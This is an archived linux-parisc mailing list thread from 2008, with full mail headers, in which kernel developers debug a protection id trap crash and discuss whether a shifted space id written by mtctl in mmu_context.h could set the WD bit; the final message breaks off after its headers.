Cc: kyle@infradead.org, deller@gmx.de, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 17:14:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDhzz-0003HO-Nt
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 17:14:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751320AbYLSQNc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 11:13:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751394AbYLSQNc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 11:13:32 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1101 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751320AbYLSQNc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 11:13:32 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 04BE04EF8; Fri, 19 Dec 2008 11:13:29 -0500 (EST)
In-Reply-To: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com> from "Carlos O'Donell" at Dec 19, 2008 10:25:48 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:983
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/983>

> > For future reference, in mmu_context.h. Bloody tricky mtctl() macro
> > doesn't take a prefix, just the numeric cr #.
> 
> Evil.

If this is a problem with the WD bit, the problem is likely here:

        mtctl(context >> (SPACEID_SHIFT - 1),8);

It's possible this might set the WD bit depending on the alignment
of context and the value of SPACEID_SHIFT on your machine.  If you
can duplicate, maybe add a BUG_ON.  On hppa64, all structs are passed
by value, so the alignment of context  may only be BIGGEST_ALIGNMENT.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 11:23:39 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com>
	 <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229703834 18128 80.91.229.12 (19 Dec 2008 16:23:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 16:23:54 +0000 (UTC)
Cc: kyle@infradead.org, deller@gmx.de, linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 17:24:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDi9p-0007KU-Hq
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 17:24:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751126AbYLSQXm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 11:23:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751251AbYLSQXm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 11:23:42 -0500
Original-Received: from yx-out-2324.google.com ([74.125.44.28]:15125 "EHLO
	yx-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751126AbYLSQXl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 11:23:41 -0500
Original-Received: by yx-out-2324.google.com with SMTP id 8so382463yxm.1
        for <linux-parisc@vger.kernel.org>; Fri, 19 Dec 2008 08:23:40 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=Xe7cGaehrqQ0huGaBpHUcUWfQJIblaeRAxaRXsrsVyQ=;
        b=lNQMgTi+TfnQOIkSEFrEc/VhwTfBBXDN1M3mco3IvChNolES1AoNrLKjQTBy8QiVPg
         cPpjKC8MWABeWaZlC2rbrRcxkYTTYLK1tB2KLqbKGY6sxZaNUNy9yCdsl7Yy6/ONX5Tr
         9FTkfic6QuLNy0xkrMMxo1oV1om8uKvZ045ag=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=LBsrO2Cfp/rv27ypH6Tx751NO0ZX+QsD8kxYwbsVibgd/lkmtBRQB2wqdLYukCzo+Y
         PJS9evmx8zxLW/ush92zblJZx7po9ClzMk2p5QD6SC8o3x08HUA4mCQja+vZAL8ij3QR
         rGo/zYDwNTRUes5o7HPKa/bhDZn6ERmlwKgxY=
Original-Received: by 10.90.103.13 with SMTP id a13mr1853769agc.68.1229703819971;
        Fri, 19 Dec 2008 08:23:39 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Fri, 19 Dec 2008 08:23:39 -0800 (PST)
In-Reply-To: <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 897c85b7a50c1f24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:984
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/984>

On Fri, Dec 19, 2008 at 11:13 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> > For future reference, in mmu_context.h. Bloody tricky mtctl() macro
>> > doesn't take a prefix, just the numeric cr #.
>>
>> Evil.
>
> If this is a problem with the WD bit, the problem is likely here:
>
>        mtctl(context >> (SPACEID_SHIFT - 1),8);
>
> It's possible this might set the WD bit depending on the alignment
> of context and the value of SPACEID_SHIFT on your machine.  If you
> can duplicate, maybe add a BUG_ON.  On hppa64, all structs are passed
> by value, so the alignment of context  may only be BIGGEST_ALIGNMENT.

The value of context is a space id (the value returned by alloc_sid())
and is not related to any alignment?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 11:28:43 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20081219162843.GA8945@bombadil.infradead.org>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com> <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca> <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229704153 19202 80.91.229.12 (19 Dec 2008 16:29:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 16:29:13 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@infradead.org,
	deller@gmx.de, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 17:30:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDiEk-0000ks-Fz
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 17:30:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751126AbYLSQ2r (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 11:28:47 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751251AbYLSQ2r
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 11:28:47 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36312 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751126AbYLSQ2q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 11:28:46 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDiDT-000566-Ii; Fri, 19 Dec 2008 16:28:43 +0000
Content-Disposition: inline
In-Reply-To: <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:985
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/985>

On Fri, Dec 19, 2008 at 11:23:39AM -0500, Carlos O'Donell wrote:
> On Fri, Dec 19, 2008 at 11:13 AM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> >> > For future reference, in mmu_context.h. Bloody tricky mtctl() macro
> >> > doesn't take a prefix, just the numeric cr #.
> >>
> >> Evil.
> >
> > If this is a problem with the WD bit, the problem is likely here:
> >
> >        mtctl(context >> (SPACEID_SHIFT - 1),8);
> >
> > It's possible this might set the WD bit depending on the alignment
> > of context and the value of SPACEID_SHIFT on your machine.  If you
> > can duplicate, maybe add a BUG_ON.  On hppa64, all structs are passed
> > by value, so the alignment of context  may only be BIGGEST_ALIGNMENT.
> 
> The value of context is a space id (the value returned by alloc_sid())
> and is not related to any alignment?

It's a typedef to an unsigned long. I'm not sure we've seen this on a
64-bit kernel (which is the SPACEID_SHIFT one.)

On a 32-bit kernel (where I've been able to reproduce this) we do a
leftshift by one, so the WD bit is guaranteed to be 0.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 11:35:51 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com>
	 <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca>
	 <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com>
	 <20081219162843.GA8945@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229704567 20743 80.91.229.12 (19 Dec 2008 16:36:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 16:36:07 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 17:37:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDiLc-000314-8K
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 17:37:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751258AbYLSQfx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 11:35:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751360AbYLSQfx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 11:35:53 -0500
Original-Received: from mail-gx0-f13.google.com ([209.85.217.13]:35903 "EHLO
	mail-gx0-f13.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751258AbYLSQfx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 11:35:53 -0500
Original-Received: by gxk6 with SMTP id 6so1003301gxk.13
        for <linux-parisc@vger.kernel.org>; Fri, 19 Dec 2008 08:35:51 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=PPxwPHfiyTDn0XkF3OC85wHYrVeHOVB3Oceu0DtMESI=;
        b=TxDnfyvd7oG7z6aCuS99EaMASfsM2l+sEDi8n3QgixS5iIefvoXB8o9lRkmDUBdII4
         Rh+6wf4jtMdsDV31L33bD2oeGqzTIfSUF98e1SuGQfgR4SA6AtyeWvJ8EeQwV3hZGI39
         duAmhMsNx4Wm/6pkUegaGTk6Vp2JHBUYbUPx0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=GKYDl/U8VO4NukRYgH+YCpow8uZ1/JejV0YjN9YpEMfTHJOYXvVVWvzXr4NZR1Kh2I
         Cr9AKCbotFvJIJEJraFo2PXHzLmuyoBBc1VuZKp1El1Z+bLFSYm2Rwmwp9fEMpC5wwpX
         Lo2BiXUmUHyZahRFUrH/baXyhPGENVDhBOvDc=
Original-Received: by 10.90.71.16 with SMTP id t16mr1891828aga.1.1229704551371;
        Fri, 19 Dec 2008 08:35:51 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Fri, 19 Dec 2008 08:35:51 -0800 (PST)
In-Reply-To: <20081219162843.GA8945@bombadil.infradead.org>
Content-Disposition: inline
X-Google-Sender-Auth: 24af45a05d73c026
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:986
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/986>

On Fri, Dec 19, 2008 at 11:28 AM, Kyle McMartin <kyle@infradead.org> wrote:
> On Fri, Dec 19, 2008 at 11:23:39AM -0500, Carlos O'Donell wrote:
>> On Fri, Dec 19, 2008 at 11:13 AM, John David Anglin
>> <dave@hiauly1.hia.nrc.ca> wrote:
>> >> > For future reference, in mmu_context.h. Bloody tricky mtctl() macro
>> >> > doesn't take a prefix, just the numeric cr #.
>> >>
>> >> Evil.
>> >
>> > If this is a problem with the WD bit, the problem is likely here:
>> >
>> >        mtctl(context >> (SPACEID_SHIFT - 1),8);
>> >
>> > It's possible this might set the WD bit depending on the alignment
>> > of context and the value of SPACEID_SHIFT on your machine.  If you
>> > can duplicate, maybe add a BUG_ON.  On hppa64, all structs are passed
>> > by value, so the alignment of context  may only be BIGGEST_ALIGNMENT.
>>
>> The value of context is a space id (the value returned by alloc_sid())
>> and is not related to any alignment?
>
> It's a typedef to an unsigned long. I'm not sure we've seen this on a
> 64-bit kernel (which is the SPACEID_SHIFT one.)
>
> On a 32-bit kernel (where I've been able to reproduce this) we do a
> leftshift by one, so the WD bit is guaranteed to be 0.

John has a good point though, we might as well assert that?

c.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 11:36:33 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <119aab440812190836m2b81b974vbb270d5a5f531baa@mail.gmail.com>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com>
	 <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca>
	 <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com>
	 <20081219162843.GA8945@bombadil.infradead.org>
	 <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229704615 20901 80.91.229.12 (19 Dec 2008 16:36:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 16:36:55 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 17:38:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDiMJ-000314-8q
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 17:37:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751360AbYLSQgg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 11:36:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751361AbYLSQgg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 11:36:36 -0500
Original-Received: from rn-out-0910.google.com ([64.233.170.190]:9772 "EHLO
	rn-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751360AbYLSQgf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 11:36:35 -0500
Original-Received: by rn-out-0910.google.com with SMTP id k40so788989rnd.17
        for <linux-parisc@vger.kernel.org>; Fri, 19 Dec 2008 08:36:34 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=4Es46aGWpb3taVZqPhS+jsh0Ucz4IUis2b0jn1YPEOE=;
        b=Sg1TMFU85+gkWqgefDk9KGdtUnuPzt6YLIlZ7CkiEdqv9BU8LAuDSiESr5OcYJrR7p
         mMnlsodjWZ2/THXnVx6q0FVyfu/DXdrFHxc9M/mzf4yMgdMJENiN4vX6LIZVtWVmO+Wo
         kY2j3WJweHd0EpR842ysNO9EtU5XbCZC36Hc4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=NnBusgoMnJddPTb3LFhIjwn2hPTMJWzUyuxwjoI+TJkBCxkflOpFr5NoO5421Omruk
         x47xl/CobH69s2oe8m73TZ0mFHj78PKuKTGtLEx56oC+sL6i/VFcFktrnUB/9hFP1vWA
         SgqF7/HJrHZt8lIwet786PwSdtYn47JpkNMwM=
Original-Received: by 10.90.120.14 with SMTP id s14mr1875598agc.36.1229704594155;
        Fri, 19 Dec 2008 08:36:34 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Fri, 19 Dec 2008 08:36:33 -0800 (PST)
In-Reply-To: <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 271e1d73c9880b50
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:987
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/987>

On Fri, Dec 19, 2008 at 11:35 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Fri, Dec 19, 2008 at 11:28 AM, Kyle McMartin <kyle@infradead.org> wrote:
>> On Fri, Dec 19, 2008 at 11:23:39AM -0500, Carlos O'Donell wrote:
>>> On Fri, Dec 19, 2008 at 11:13 AM, John David Anglin
>>> <dave@hiauly1.hia.nrc.ca> wrote:
>>> >> > For future reference, in mmu_context.h. Bloody tricky mtctl() macro
>>> >> > doesn't take a prefix, just the numeric cr #.
>>> >>
>>> >> Evil.
>>> >
>>> > If this is a problem with the WD bit, the problem is likely here:
>>> >
>>> >        mtctl(context >> (SPACEID_SHIFT - 1),8);
>>> >
>>> > It's possible this might set the WD bit depending on the alignment
>>> > of context and the value of SPACEID_SHIFT on your machine.  If you
>>> > can duplicate, maybe add a BUG_ON.  On hppa64, all structs are passed
>>> > by value, so the alignment of context  may only be BIGGEST_ALIGNMENT.
>>>
>>> The value of context is a space id (the value returned by alloc_sid())
>>> and is not related to any alignment?
>>
>> It's a typedef to an unsigned long. I'm not sure we've seen this on a
>> 64-bit kernel (which is the SPACEID_SHIFT one.)
>>
>> On a 32-bit kernel (where I've been able to reproduce this) we do a
>> leftshift by one, so the WD bit is guaranteed to be 0.
>
> John has a good point though, we might as well assert that?

In alloc_sid() when we allocate the space id?

c.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 11:44:58 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <20081219164458.GB8945@bombadil.infradead.org>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com> <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca> <119aab440812190823g326868a8p4953cc4a92751a32@mail.gmail.com> <20081219162843.GA8945@bombadil.infradead.org> <119aab440812190835h7da2192biaa3cb3b44be08038@mail.gmail.com> <119aab440812190836m2b81b974vbb270d5a5f531baa@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229705126 22613 80.91.229.12 (19 Dec 2008 16:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 16:45:26 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 17:46:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDiUW-00072E-1P
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 17:46:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751466AbYLSQpE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 11:45:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751577AbYLSQpE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 11:45:04 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:56799 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751466AbYLSQpB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 11:45:01 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDiTC-00076q-VK; Fri, 19 Dec 2008 16:44:58 +0000
Content-Disposition: inline
In-Reply-To: <119aab440812190836m2b81b974vbb270d5a5f531baa@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:988
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/988>

On Fri, Dec 19, 2008 at 11:36:33AM -0500, Carlos O'Donell wrote:
> On Fri, Dec 19, 2008 at 11:35 AM, Carlos O'Donell
> <carlos@systemhalted.org> wrote:
> > On Fri, Dec 19, 2008 at 11:28 AM, Kyle McMartin <kyle@infradead.org> wrote:
> >> On Fri, Dec 19, 2008 at 11:23:39AM -0500, Carlos O'Donell wrote:
> >>> On Fri, Dec 19, 2008 at 11:13 AM, John David Anglin
> >>> <dave@hiauly1.hia.nrc.ca> wrote:
> >>> >> > For future reference, in mmu_context.h. Bloody tricky mtctl() macro
> >>> >> > doesn't take a prefix, just the numeric cr #.
> >>> >>
> >>> >> Evil.
> >>> >
> >>> > If this is a problem with the WD bit, the problem is likely here:
> >>> >
> >>> >        mtctl(context >> (SPACEID_SHIFT - 1),8);
> >>> >
> >>> > It's possible this might set the WD bit depending on the alignment
> >>> > of context and the value of SPACEID_SHIFT on your machine.  If you
> >>> > can duplicate, maybe add a BUG_ON.  On hppa64, all structs are passed
> >>> > by value, so the alignment of context  may only be BIGGEST_ALIGNMENT.
> >>>
> >>> The value of context is a space id (the value returned by alloc_sid())
> >>> and is not related to any alignment?
> >>
> >> It's a typedef to an unsigned long. I'm not sure we've seen this on a
> >> 64-bit kernel (which is the SPACEID_SHIFT one.)
> >>
> >> On a 32-bit kernel (where I've been able to reproduce this) we do a
> >> leftshift by one, so the WD bit is guaranteed to be 0.
> >
> > John has a good point though, we might as well assert that?
> 
> In alloc_sid() when we allocate the space id?
> 

Meh. > >>> >        mtctl(context >> (SPACEID_SHIFT - 1),8);

SPACEID_SHIFT is the number of spaceid bits, which is 32 on 64-bit.

I suspect what this is trying to do, is put it in the rightmost half of
the register, so as long as context is shifted left already, (which it
is.)

When you cancel out the SPACEID_SHIFT in alloc_sid, and here in
load_context, you end up with the same mtctl(context << 1, 8) as on
32-bit.

re, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 12:28:40 -0500
Lines: 25
Approved: news@gmane.org
